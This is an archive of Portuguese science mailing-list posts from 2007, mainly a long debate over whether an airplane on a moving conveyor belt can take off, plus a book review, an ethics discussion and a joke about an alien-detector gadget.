>>>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>>>> tração
>>>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ
>>>> do
>>>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
>>>> avião
>>>> apra tras, depois que ele liga as turbinas!
>>>>
>>>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
>>>> elas
>>>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
>>>> dispositivos
>>>> de
>>>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>>>> aeroporto.
>>>>
>>>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
>>>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
>>>> abaixo
>>>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>>>> fornece tração para a esteira empurrar a mala.
>>>>
>>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
>>>> mala
>>>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
>>>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>>>> atrito
>>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>>>
>>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>>>> ZERO,
>>>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>>>> mala
>>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>>>
>>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou
>>>> do
>>>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>>>> parar,
>>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>>>
>>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
>>>> pode
>>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
>>>> rolamentos
>>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>>>> das
>>>> turbinas.
>>>>
>>>> Homero
>>>>
>>>>
>>>>
>>>>
>>>> ----- Original Message -----
>>>> From: José Renato
>>>> To: ciencialist@yahoogrupos.com.br
>>>> Sent: Sunday, March 04, 2007 12:10 AM
>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>> em
>>>> esteira
>>>>
>>>>
>>>> Ricardo:
>>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>> hélices,
>>>> ao
>>>> empurrar o ar para trás, empurra o avião para frente, independente
>>>> deste
>>>> ter
>>>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>>>> cima. ]
>>>> ..........................
>>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>> velocidade!
>>>> Isso significa que o mesmo está praticamente parado em relação ao solo
>>>> e
>>>> ao
>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>> hélices
>>>> ou turbinas. Difícil, não?
>>>> []s
>>>> JR
>>>> ..........................
>>>>
>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Tuesday, February 27, 2007 11:25 PM
>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>> em
>>>> esteira
>>>>
>>>> > From: "José Renato" <jrma@terra.com.br>
>>>> >> Homero:
>>>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>>>> das
>>>> >> rodas. ]
>>>> >> .............................................
>>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>>>> asas
>>>> >> capaz
>>>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>>>> >> turbinas.
>>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>>>> >
>>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>>> hélices,
>>>> > ao
>>>> > empurrar o ar para trás, empurra o avião para frente, independente
>>>> deste
>>>> > ter
>>>> > ou não asas. O avião se move para frente ao ligar a turbina, não
>>>> para
>>>> > cima.
>>>> >
>>>> > Um abraço,
>>>> >
>>>> > Ricardo
>>
>>
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> 09:24
>



SUBJECT: Re: [ciencialist] Sombras do Iluminismo - Manuel Bulcão Neto
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/03/2007 22:53

Chicão, acredito que Manuel Bulcão está com o livro no site do Submarino. A
propaganda está no próprio comentário, é merecida pelo belo trabalho. Esta é
a melhor das propagandas: a do tipo boca-a-boca dos que já leram. Vários dos
nossos colegas da lista já informaram ter adquirido o livro. Caso eles
venham a postar comentários na lista, vc pode aguardar para aferir com a
minha percepção.
[]s
José Renato
............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 08, 2007 3:48 PM
Subject: Re: [ciencialist] Sombras do Iluminismo - Manuel Bulcão Neto


> Parabens pela propaganda do livro dele. Eu consigo um
> exemplar pela livraria cultura???
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Manuel, gostei de ler o seu segundo livro Sombras do
>> Iluminismo e já comecei a ler sua primeira cria
>> literária Esquisitices do Óbvio, reunindo seus
>> vários escritos com reflexões realizadas nos últimos
>> dez anos. É instigante e me surpreendeu
>> positivamente pelo trabalho de arrumar de maneira
>> fácil os diversos assuntos que a Ciência e o
>> Conhecimento revelou ao mundo principalmente nos
>> séc. XIX e XX. Gostei também de conhecer melhor suas
>> opiniões sobre nossa realidade e a busca permanente
>> de obter um entendimento razoável sobre a
>> existência. As Notas bibliográfica e de
>> esclarecimentos, organizadas nas últimas páginas,
>> são um prazer à parte.
>>
>> Fortalecida e apoiada pelo crescente movimento
>> anticlerical existente no período, a Ciência - por
>> muitas razões - tornou-se anti-religiosa a partir
>> dessa época e, mais do que isso, uma opção
>> excepcional para tirar os poderes que o clero
>> mantinha na estrutura política, social, econômica e
>> educacional, sobre a maioria dos países da Europa e
>> do Novo Mundo. Esse antagonismo permanece até hoje
>> na cultura acadêmica onde é inadmissível um
>> cientista ou homem de ciência, professar uma crença,
>> doutrina ou valores éticos de uma religião.
>>
>> Passada a euforia da libertação do jugo clerical,
>> caímos na real e vimos que, apesar de todo o
>> inimaginável desenvolvimento tecnológico e
>> científico ocorrido nesses últimos séculos,
>> continuamos sofrendo os mesmo problemas de miséria,
>> fome, egoísmo, corrupção, guerra, doenças, mentira,
>> exclusão, falsidade, crueldade, engodo, violência...
>> E o pior, muitas vezes aprimorados e apoiados no
>> chamado cientificismo, uma nova religião onde os
>> compromissos com a vida humana e com os ecossistemas
>> são flexíveis, relativizados e o capital dita as
>> regras, sutilmente maquiadas pelos meios de
>> comunicação de modo a não esclarecer, nem acordar a
>> opinião pública.
>>
>> Valeu a pena ler o seu livro, Bulcão, e tomar
>> conhecimento de suas leituras e pesquisas sobre o
>> rumo da Ciência no mundo dominado pelos
>> conglomerados. Apenas uma opinião ou entendimento
>> seu me pareceu exagerado: a de que as pessoas, ao se
>> desencantarem com as promessas de um maravilhoso
>> mundo novo que as descobertas científicas induziu,
>> tenderão voltar ao embotamento das crendices
>> atávicas e ao fundamentalismos religiosos.
>> Na minha visão as coisas continuarão praticamente do
>> mesmo jeito, com a maioria das pessoas buscando um
>> paraíso light-zen, tipo Nova Era, sem maiores
>> compromissos com valores éticos, que serão adaptados
>> ao gosto e à comodidade do novo crente, dentro do
>> marketing do consumo acelerado pelo desperdício
>> propagandeado, pelo sucateamento acelerado dos bens
>> de consumo e pela dependência psicológica e cultural
>> mantida de todas as formas pelos donos da grana. Os
>> profetas de seu tempo continuarão a denunciar as
>> aberrações e mazelas dos poderosos e, como sempre
>> ocorreu, sofrerão as conseqüências por isso.
>>
>> Entre as inúmeras citações, trechos e expressões que
>> sublinhei no livro, transcrevo duas da página 168,
>> tópico 4. O racionalismos como escolha moral, do cap
>> III - O panteão da superfície, que me parecem
>> significativas ao nosso momento:
>>
>> [ Embora a Ciência não nos possa fornecer, através
>> do seu método, um sistema ético inequívoco e
>> verdadeiro, não se pode, todavia, produzir
>> conhecimento científico se não se parte de um
>> determinado princípio ético. Segundo Jacques Monod,
>> "o conhecimento verdadeiro ignora os valores. Para
>> fundá-lo, porém, é preciso um juízo ou, antes, um
>> axioma de valor". Qual é esse "valor primitivo que
>> funda o conhecimento"? Para Monod, trata-se do
>> compromisso com a objetividade, ou, nas palavras de
>> I. Prigogine, "respeito à natureza": a noção de que,
>> se quisermos transformar a realidade de modo a
>> fazê-la atender às nossas necessidade, devemos
>> obedecer às suas leis que são independentes dos
>> nossos desejos e vontade (i.e., "objetivas"). [ ...
>> ] Como salientou C. Lévi-Straus, "um humanismo
>> adequadamente ordenado não pode começar
>> espontaneamente, mas deve colocar o mundo antes da
>> vida, a vida antes do homem e o respeito pelos
>> outros antes do egoísmo". (Mythologiques III:
>> L'Órigine des Maniéres de Tabel; 1968).]
>>
>> Parabéns, pelo belo trabalho que movimenta e renova
>> as idéias estabelecidos como "verdades científicas"
>> que não deveriam ser mais discutidas.
>>
>> Abraços
>>
>> José Renato
>>
>>
>>
>>
>>
>> [As partes desta mensagem que não continham texto
>> foram removidas]
>>
>>
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> O que há é pouca gente para dar por isso... "
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SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 00:01

Olá, Chicão! Essa é uma questão de escolha... A nossa vida é construída,
destruída ou mantida por permanentes escolhas que fazemos e pelas decisões
que tomamos. Encontrar as melhores decisões e escolhas para cada situação é
a pedra de toque que os sábios buscam há tempos. Como elas são praticamente
infinitas alguns roteiros básicos são copilados para orientações gerais. Mas
no particular, cada um vai ter de optar, escolher e decidir. Ou deixar que
decidam por nós.
Faço outros comentários no corpo do e-mail, após JR2, OK?
..............................................
From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 08, 2007 4:22 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais


> JR, minhas respostas seguem depois do ">>>>>".
>
> JR1 - Dor e prazer são sinais sensíveis relativos. O
> atleta sofre muito durante a preparação para bater
> seus recordes com a intenção de ter o prazer de
> possuir uma medalha de ouro, seu nome nos anais,
> valorização,
> admiração, etc. Dor e prazer não são indicativos
> absolutos. Muitas vezes o prazer de comer uma caixa de
> chocolate acaba mal. Esse equilíbrio nas atitudes já
> era perseguido por Sócrates com muito empenho. Perceba
>
> que buscar a felicidade, a glória e o gozo é o
> objetivo maior e legítimo do ser humano. As
> dificuldades ocorrem quando minha visão é curta e
> atropelo tudo que de bom possuo para obter isso. A
> troca é prejudicial a
> mim e a todos que uso ou despacho para obter a
> felicidade a qualquer custo. Vou postar uma reflexão
> que fiz sobre isso, provocada há tempos
> pelo Bulcão, na lista Acropolis.
>
>>>>>>Concordo com a relatividade.
>
>
> JR1 - Mas quando o ser humano toma consciência de sua
> existência passa a buscar viver de verdade, ter um amor de
> verdade, ser feliz de verdade... Ilusões distraem e confortam
> durante algum tempo. Mas o bom mesmo é
> a realidade com todas as sua conseqüências.
>
>>>>>>O que é verdade??? A realidade é boa porque dá
> prazer??? Eu posso na MATRIX fazer com que voce saiba mais
> verdades que uma pessoa comum. Com isso você pensaria
> que conhece a realidade e seria bom para você.
> Não gostaria de entrar na MATRIX???
JR2 - Parece que o que faço o tempo todo é tentar sair dela, da geléia geral
em que estamos vivendo, da ilusão manipulada pelos meios de comunicação
acionados pelos interesses comerciais e políticos. Viver na realidade ou na
verdade dá mais segurança, harmonia, tranquilidade... O melhor em tudo é não
confundir o imaginado e o sonhado com a Realidade. É isso que a Ciência
busca.
>
> JR1 - Viver de mentirinha é o que já faço de diversas
> maneiras e em diversas ocasiões. Mas os meus melhores
> momentos da vida vieram através da realidade e da
> lucidez em percebê-la. Nela me realizo.
>
>>>>>>Não gostaria de entrar na MATRIX???
JR2 - De algum modo já estamos nela. O que procuro é sair dela.
>
> JR1 - É o que todos os "espertos e sabidórios"
> fazem... Quanto a não
> ser punido ou não sentir remorsos não é uma certeza
> obtida de antemão.
> Quando menos se espera vem a tal crise existencial e
> aí o cara se
> constata um merda, mentiroso, falso, safado, lixo,
> traidor, etc. e nem sabe
> mais quem ele é de fato no meio de tanta falsidade e
> mentira.
>
>>>>>>Todas as pessoas não são assim. Existem aquelas
> que não sentem nenhum remorso em fazer ações
> consideradas más.
JR2 - Alguns sentimentos são inatos. Prejudicar conscientemente alguém gera
no fundo uma reflexão tipo "e se ele fizesse isso para mim" que vai geram um
sentimento semelhante ao que chamamos de remorso. Em estudos dos diversos
órgãos ou componentes do nosso sistema cognitivo identifica-se regiões onde
estão os "bancos de dados" e procedimentos de avaliação ética-moral. Célebre
é o caso do trabalhador que sofreu dano no célebro provocado por um prego
disparado por uma pistola pneumática. Penetrou na cabeça, mas ele continuou
consciente e aparentemente não prejudicou em nada seus movimentos e
atividades intelectuais. Após a remoção do prego, recuperação e volta ao
trabalho, observou-se que o cara estava com um comportamento diferente,
aético, entrão, imoral, inconveniente... A partir daí começou-se a fazer
testes mais acurados sobre o funcionamento dessa região afetada e de outras
regiões do cérebro.
>
> JR1 - Prejudicar, sacanear ou fazer mal a alguém pode
> dar algum prazer, algum tipo de emoção forte. Os
> cruéis patológicos têm orgasmos ao praticar violência,
> mas é um distúrbio mental que não me parece grande
> coisa desejar possuir. Quanto à vontade de usar minha
> experiência de vida para discernir o que é melhor, o
> que deve ser evitado e o que precisa ser superado, é
> um exercício diário que requer tempo, coragem e
> reflexão. Cometer os mesmos erros ou o erro dos outros
> burrice em dobro. Prefiro tentar algo diferente e que tenha
> alguma chance de obter melhores resultados...
>
>>>>>> E os cruéis não patológicos??? O resto que você
> disse é relativo.
JR2 - Em sã consciência somos capazes das maiores crueldades e das maiores
generosidades. Ilude-se quem acha que não é capaz de fazer alguma ignomínia.
Basta estar na situação adequada para praticá-la. E como sempre consideramos
algum ponto de referência pode estar certo que não só o resto como tudo o
mais é relativo a esse ponto. Em geral, procura-se um ponto ótimo
inatingível como referência ou norte.
>
> JR1 - Mas, Chicão, não é esse objetivo que nos ilude
> desde sempre? O crime perfeito! E cada vez mais se
> sofistica as formas burlar, de modo a ser à prova de
> qualquer investigação, até que alguém de dentro do
> esquema se sente enganado e, antes de ser eliminado,
> denuncia(RJ) ou mesmo o burlador se rende à
> verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>
>>>>>> Isso também não poderá acontecer e as coisas
> ficarem sob segredo.
> Você disse que ser bom era mais vantajoso. Devemos ser
> bons porque é mais vantajoso??? Isso depende. Ser mau
> também pode ser vantajoso ao invés de ser bom. Note
> que o príncipio aqui é o do ganho(teoria dos jogos).
> Então ambos são duas faces de uma mesma moeda. Por
> esse principio você é igual às siglas. [ ... ]
JR2 - É o jogo do ganha-ganha... É mais vantajoso a longo prazo quando todos
ganham, e essa possibilidade deve ser considerada e buscada permanentemente.
No perde-ganha vc não vive em paz. Alguém vai querer tirar o que vc já
ganhou prejudicando ou não prejudicando outras pessoas. Esse é o normal na
maioria das nossas comunidades.

[ ... ] > Se matamos animais porque a natureza nos fez
> superiores a eles, então não deveríamos nos indignar
> caso ET´s com uma inteligência superior a nossa
> coagisse-nos a ser seu prato principal.
JR2 - O que vc acha? Essa é a lei mais antiga: quem pode; pode, quem não
pode foge. Também conhecida como a lei do mais forte ou da selva. Não
precisa ser ET para fazer isso, os mais fortes hoje estão eliminando pessoas
e povos menos fortes com disfarces de jogo político e diplomático próprio
dos poderosos que não têm oposição às suas atitudes e decisões. Lembra do
lobo é o cordeiro, de Esopo? O que discutimos hoje é o mesmo que a
humanidade tenta entender a tempos. Mas como estão nascendo novos seres
humanos, eles voltarão a trilhar caminhos semelhantes aos que os antigos já
fizeram...

[]s

José Renato
...........................................
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos



SUBJECT: Detector de ET
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 00:20

Chic�o, se vc estiver muito preocupado com os ETs que queiram saborear sua pessoa, pode comprar um desse.
[]s
JR
..................................................

Aparelho promete detectar presen�a de ETs entre humanos

Uma empresa japonesa est� vendendo um equipamento criado para detectar objetos voadores n�o identificados (OVNI) (n�o � s� olhar para o c�u ?) e alien�genas. De acordo com a companhia, ningu�m em s� consci�ncia deve sair de casa sem um desses.

A empresa prega que existem milh�es de alien�genas infiltrados entre os humanos, como funcion�rios dos correios, motoristas de �nibus e imitadores da Marilyn Monroe. (colocaria no rol os imitadores do Elvis e de Ra�l Seixas). Estes seres emitiriam ondas pr�prias de esp�cies de outro planeta.

O dispositivo funciona no modo autom�tico e no manual. No primeiro, o aparelho fica ligado 24 horas por dia e quando encontra algum tipo de informa��o extraterrestre, emite um som e pisca uma luz. J� no modo manual, o produto s� busca por ETs enquanto um bot�o estiver apertado. (pensei que s� "apertasse o bot�o" quem estivesse na presen�a de um ET hostil e sem ter com o que se defender)Quanto mais pr�xima estiver a forma de vida alien�gena, mais alto o som e mais r�pido as luzes piscar�o.

O fabricante adverte que existem casos em que o extraterrestre � muito bom e engana o aparelho, (sem desculpa n�o h� como enganar o trouxa) que continua fazendo buscas em graus mais elevados at� verificar ou n�o a exist�ncia de vida alien�gena.

O detector de OVNIs e ETs custa 2,22 mil ienes, cerca de R$ 40 e pode ser comprado no site http://item.rakuten.co.jp/sastore/utst/.




Enquete (mundial)
Voc� acredita que o detector de ETs funciona?

Sim - votos(...........................3.986.765.978)
N�o - votos(...............................................4)




[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 01:55

Vou encerrar minha participação neste tópico com esta mensagem (não prometo
:) ).

Vamos por partes...

A força de atrito de rolamento é, a princípio, constante:

F = N x Crr, onde F, é claro, é a força de atrito que desejamos
calcular, N é a normal, que só depende do peso do avião e sua carga, e Crr é
o coeficiente de atrito de rolamento.

Percebam que, na fórmula, não entra a velocidade. Você pode aumentar a
velocidade que a força é a mesma... A resistência que o rolamento exerce ao
movimento seria constante, e não linear como eu havia pensado, e nem
quadrática como o Takata pensou.

Até aqui, o avião decola sem problema. E eu acho mais do que suficiente para
o problema em si, que obviamente não queria levantar questões técnicas de
aviação, mas apenas brincar com a questão da tração via roda, ou via
turbina.

Mas, vou continuar mesmo assim.

Conforme aumentamos a velocidade de rolamentos, ocorre um efeito previsível:
aquecimento do material do rolamento. Normalmente consideramos valores
constantes de Crr para materiais, no cálculo da força de resistência, mas
após determinadas temperaturas, começam a ocorrer alterações sensíveis no
Crr utilizado. Sim, se sobrecarregamos um rolamento ele aquece
demasiadamente e seu Crr aumenta, aumentando a força de resistência. E além
disso, os rolamentos possuem uma tolerância máxima de RPM, que eles podem
suportar. Claro que, como os dados variam de caso para caso, pois temos
vários fabricantes e modelos de rolamentos de trens de pouso, não vale a
pena perder muito tempo nisso.

Mas, vou continuar mesmo assim.

E se ao invés de gastar tempo calculando atrito & cia, partíssemos de
especificações técnicas de aeronaves do mercado (que já vêm com seus
rolamentos predeterminados de fábrica)? Existem 2 dados, normalmente
disponibilizados em especificações técnicas de aeronaves, que podem nos
ajudar no problema:
1) velocidade de decolagem.
2) vle: velocidade estendida do trem de pouso (velocidade operacional
máxima possível do trem de pouso para o avião). o máximo que se pode
acelerar o avião com o trem de pouso no solo, segundo o fabricante. Na
verdade a vlo é a máxima operacional e a vle a máxima operacional estendida.

Parto do princípio que se temos uma velocidade operacional do trem de pouso
factível, como sendo o dobro da necessária à decolagem, podemos decolar na
esteira sem problemas.

Bom, o problema é que essas velocidade variam bastante de avião para avião.
Mas, nos casos que vi, a vle varia em torno do dobro da velocidade de
decolagem. Em alguns casos é menor que o dobro, em outros maior. Exemplo:
Piper Arrow PA-28: velocidade de decolagem: 60-70 MPH, vle: 150 MPH.
Deve decolar!!!
Beechcraft Travelair D95: velocidade de decolagem: 85 MPH, vle: 165
MPH. Não deve decolar...

Para mim, mais uma vez, o importante é que: sim, um avião pode decolar nessa
situação. Estas questões técnicas são irrelevantes para o problema, que tem,
obviamente, o mero objetivo de nos confundir quanto à origem da
tração/empuxo.

Fico por aqui.

Um grande abraço,

Ricardo




----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
> Ricardo, que o avião vai ser empurrado para frente não há dúvidas. A
> questão
> depende de como está medindo a velocidade do avião. Qual o seu ponto de
> referência para a medida da velocidade. Uma primeira possibilidade é medir
> a
> velocidade pelo rodar das rodas do avião sobre a esteira. Nesse caso, onde
> o
> ponto de referência para a medição da velocidade está na esteira, o
> deslocamento do avião é compensado ou anulado pelo da esteira em sentido
> contrário. O avião ficará praticamente parado sobre a esteira e não vai
> ter
> sustentação para alçar vôo. Uma segunda possibilidade é medir a velocidade
> através GPS ou de sistema aerodinâmico tipo tubo de Pitot ou semelhante.
> Nesse caso, em que o ponto de referência para a medição da velocidade é o
> chão ou a velocidade do ar em movimento contrário ao deslocamento do
> avião,
> o avião poderá adquirir velocidade suficiente para alçar vôo.
> []s
> José Renato
> ......................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 07, 2007 10:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> José Renato,
>>
>> Realmente você chegou ao que considero o ponto inicial de discordância,
>> especificamente, entre nós dois.
>>
>> Para mim é inquestionável que o avião se deslocará para frente sim.
>> Independente da velocidade do avião do enunciado se referir à velocidade
>> em
>> relação ao solo ou em relação à esteira.
>>
>> Se o atrito puder impedir a decolagem, o que não acredito, isso só
>> ocorrerá
>> com para velocidades maiores, quando o atrito será mais relevante.
>>
>>> JR - Confirme se até aqui ficou claro para vc que o avião ficará [...]
>>
>> Para mim, até aqui, ficou claro que discordamos neste ponto básico. Da
>> mesma
>> forma que vc tem a sensação que precisa me explicar as bases do problema,
>> eu
>> tb tenho a mesma certeza de que vc é que precisa entender melhor questões
>> básicas da física envolvida.
>>
>> []s Ricardo
>>
>>
>> ----- Original Message -----
>> From: "José Renato" <jrma@terra.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Wednesday, March 07, 2007 10:18 PM
>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola SEM PROBLEMAS..:-)
>>
>>
>>> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
>>> problema, item a item. Faço comentários no texto abaixo, após JR -, de
>>> modo
>>> a facilitar o desenvolvimento das idéias:
>>> .....................................................
>>>
>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Tuesday, March 06, 2007 7:06 AM
>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>> decola SEM PROBLEMAS..:-)
>>>
>>>
>>>> José Renato,
>>>>
>>>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
>>>> avião
>>>> é
>>>> progressivamente puxado para trás, se a esteira estiver continuamente
>>>> rodando para trás. Começando com uma velocidade determinada, até chegar
>>>> à
>>>> velocidade da esteira.
>>> JR - A proposta de "testar" o que ocorreria quando o avião estiver com
>>> motores desligados e a esteira fosse acionada foi só para ajustar que,
>>> normalmente, há um atrito significativo entre a esteira e o avião
>>> através
>>> do
>>> que quer que seja: rodas, esquis, fuselagem...
>>>>
>>>> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
>>>> descrição da frase acima não corresponde em nada ao problema proposto.
>>>> O
>>>> avião e a esteira começam parados, o avião liga seu motor, então,
>>>> apenas
>>>> se
>>>> ele começar a andar para frente, a esteira começara a andar para trás.
>>>> E
>>>> o
>>>> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo
>>>> do
>>>> motor. Então o avião andará para frente.
>>> JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em
>>> que
>>> os motores são ligados e o avião começa a se deslocar para frente sobre
>>> a
>>> esteira e, *simultaneamente*, a esteira começa a se deslocar para trás,
>>> na
>>> mesma velocidade do avião. Agora, vem um detalhe importante: como está
>>> sendo
>>> medida a velocidade do avião? Vamos considerar que a velocidade do avião
>>> é
>>> medida por um velocímetro nele acoplado, semelhante ao que as revistas
>>> de
>>> automóveis usam para fazer os testes de carros: uma roda calibrada ou um
>>> foco de luz sobre o piso da esteira onde o avião está se deslocando.
>>> Assim
>>> que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse
>>> um
>>> carro em teste - a esteira corre também na mesma velocidade de 100km/h,
>>> para
>>> trás. Em relação a esteira o avião está a 100km/h, mas em relação ao
>>> chão
>>> onde a esteira está apoiada e ao ar que os cerca, está praticamente
>>> parado.
>>>>
>>>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda
>>>> para
>>>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
>>>> esteira
>>>> ficam parados. Para o avião e a esteira ficarem parados, o atrito
>>>> estaria
>>>> acima de qualquer caso real razoável.
>>> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
>>> motores
>>> do avião são acionados o atrito normal existente é superado pelo empuxo
>>> e
>>> ele se desloca sobre a esteira como faria em qualquer pista.
>>>>
>>>> Este assunto está se estendendo a ponto de confundir mais do que
>>>> esclarecer,
>>>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
>>>> recorrentes
>>>> discussões dos mesmos pontos. Evita que andemos em círculos, como está
>>>> acontecendo agora.
>>> JR - Confirme se até aqui ficou claro para vc que o avião ficará
>>> praticamente parado em relação ao chão onde está apoiada a esteira
>>> rolante.
>>> Aí então podemos ajustar outros entendimentos e continuar nossa
>>> discussão.
>>> Takata vinha desenvolvendo a questão com clareza até quando - para
>>> atender
>>> as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
>>> suposições e detalhes periféricos sem importância significativa ao
>>> esclarecimento do problema proposto.
>>>
>>> []s
>>>
>>> José Renato
>>> ......................................................
>>>
>>> al Message -----
>>>> From: "José Renato" <jrma@terra.com.br>
>>>> To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Monday, March 05, 2007 11:36 PM
>>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O
>>>> avião
>>>> decola SEM PROBLEMAS..:-)
>>>>
>>>>
>>>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>>>>> rodas.
>>>>> Assim sendo, a esteira transportará o avião na direção do movimento
>>>>> dela.
>>>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>>>>> seguinte
>>>>> texto:
>>>>>
>>>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião
>>>>> para
>>>>> trás. As rodas girarão um pouco apenas no caso da esteira partir com
>>>>> uma
>>>>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>>>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
>>>>> máxima
>>>>> e
>>>>> a
>>>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa
>>>>> a
>>>>> ser
>>>>> transportado "paradão", se deslocando para trás com a mesma velocidade
>>>>> da
>>>>> esteira. ]
>>>>>
>>>>> []s
>>>>>
>>>>> JR
>>>>> ...................................
>>>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>>>>> Sent: Sunday, March 04, 2007 6:38 PM
>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>>> em
>>>>> esteira
>>>>>
>>>>>
>>>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
>>>>>> comentários
>>>>>> após os seus:
>>>>>> ...........................
>>>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>>>> Sent: Sunday, March 04, 2007 4:09 PM
>>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re:
>>>>>> avião
>>>>>> em
>>>>>> esteira
>>>>>>
>>>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>>>>> que
>>>>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>>>>> avião
>>>>>>> para frente é independente da esteira (turbina, por exemplo), a
>>>>>>> esteira
>>>>>>> se
>>>>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>>>>> mas
>>>>>>> sim, faz as rodas girarem mais rápido.
>>>>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a
>>>>>> vc
>>>>>> e
>>>>>> a
>>>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas
>>>>>> a
>>>>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas
>>>>>> no
>>>>>> caso
>>>>>> da esteira partir com uma *aceleração* alta o suficiente para vencer
>>>>>> o
>>>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
>>>>>> atinge
>>>>>> a
>>>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
>>>>>> avião
>>>>>> param de rodar e ele passa a ser transportado "paradão", se
>>>>>> deslocando
>>>>>> para
>>>>>> trás com a mesma velocidade da esteira.
>>>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>>>>> acionados.
>>>>>>
>>>>>>> Então, o avião anda para a frente, em relação ao chão, a esteira
>>>>>>> roda
>>>>>>> para
>>>>>>> trás, e as rodas giram mais rápido.
>>>>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>>>>> frente
